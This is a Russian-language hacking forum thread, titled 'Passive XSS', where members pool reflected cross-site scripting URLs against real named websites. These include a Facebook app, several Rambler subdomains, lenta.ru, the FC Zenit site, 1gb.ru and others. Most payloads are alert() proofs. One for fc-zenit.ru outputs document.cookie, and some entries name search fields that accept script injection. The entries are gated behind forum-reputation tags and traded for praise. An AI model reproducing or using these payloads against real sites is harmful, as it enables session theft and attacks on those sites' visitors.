Пассивные XSS

[therf2]

Здесь собираем/редактируем базу пассивных xss.
Пасивка на Facebook
[hide=100]http://apps.facebook.com/mmaprofighter/?src="><script>alert(/xss/)</script>[/hide]
Cборка пасивок на рамблер
[hide=30]
http://foto.rambler.ru/introduce.html?back="><script>alert(/XSS/)</script>
http://skate.rambler.ru/popup.html?alt="><script>alert(1)</script>
http://afisha.rambler.ru/message.html?id=128434&pg="><script>alert(1)</script>
http://planeta.rambler.ru/community/icq/?tags=419972"><script>alert(1)</script>
http://autorambler.ru/cars/by-brand/?brand=12&model=30&no=1&period=day"><script>alert( 1)</script>
http://kids.rambler.ru/faq/271063/tns-counter.ru?p=1<script>alert('mr.net')</script>
http://finance.rambler.ru/calculators/hypothec/?sum=1&years=31&interest="><script>alert(1)</script>
[/hide]
На lenta.ru
[hide=30]http://lenta.ru/conf/opechatka?url=http://lenta.ru/advert/reklama.htm%22%3E%3Cscript%3Ealert('xss')%3C/script%3E[/hide]
Для любителей спорта[hide=30]
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
[/hide]
[hide=30]
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
В поле поиск вводи
"><script>alert('xss')</script>[/hide]

Добавлено через 58 минут 55 секунд
Вот и Зенит
[HIDE=30]www.fc-zenit.ru/main/news/?ns=1&tx="'><</script><script>alert(document.cookie)</script>[/HIDE]

[yse]

на счет facebook я бы хайд побольше дал .

плюсик за facebook.

[therf2]

Только что нашел
[HIDE=5]
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
[/HIDE]

Добавлено через 19 часов 37 минут 44 секунды
Вот на 1gb.ru
[HIDE=30]
В поле поиск.
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.][/HIDE]
[HIDE=5]
В поле"Проверить, зарегистрировать или перенести имя:" вставляем

"><script>alert('xss')</script>

[/HIDE]

[whitehack]

http://www.uchodzcy.org.pl

Kontakt

'><''>"><script>alert(/XSS/)</script>

http://roscredit.ru

'><''>"><script>alert(/XSS/)</script>